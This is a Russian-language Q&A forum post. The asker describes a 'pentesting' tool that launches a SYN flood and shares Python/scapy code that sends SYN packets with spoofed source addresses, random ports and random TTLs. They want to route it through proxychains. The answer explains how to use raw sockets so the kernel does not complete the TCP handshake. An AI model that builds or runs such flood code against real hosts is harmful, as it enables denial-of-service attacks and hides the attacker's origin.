Как исправить: определен пакет с флагом SYN, и он отправляется с PSH, флаг ACK - PullRequest
0 голосов
/ 13 октября 2019

Я пишу инструмент для тестирования на проникновение, который выполняет SYN-атаку. Атака прекрасно работает до тех пор, пока я не попытаюсь увеличить скорость отправки пакетов, используя свой собственный сокет:

import socket
import scapy
silva = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#silva.connect((destinationnew, targetport)) With this the attack does not work
silva.send(bytes(IP(dst = str(destinationnew), src = str(Ip_range), ttl=int(random.randint(80, 254)))/TCP(dport = int(targetport), sport = int(random.randint(1024, 65535)), flags = "S")))

Сценарий атомарно выполняет трехстороннее рукопожатие и затем отправляет пакеты PSH, ACK

-> Я хочу, чтобы скрипт использовал сокет, чтобы потом запустить его через прокси-цепочки, но я не знаю, как установить сокет, через который я могу отправлять только SYN-пакеты.

1 Ответ

0 голосов
/ 13 октября 2019

Вы пытаетесь сделать что-то низкоуровневое за пределами обычного потока TCP, поэтому вам нужно использовать необработанные сокеты:

silva = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
silva.bind(("en0", 0)) # or eth0 or whatever your interface is

Затем отправьте пакеты SYN, и механизм TCP не получит управлениеи делать ACK и другие вещи, которые вам не нужны.

Обратите внимание, что вам могут потребоваться некоторые дополнительные разрешения в локальной операционной системе, чтобы включить создание необработанных сокетов.

...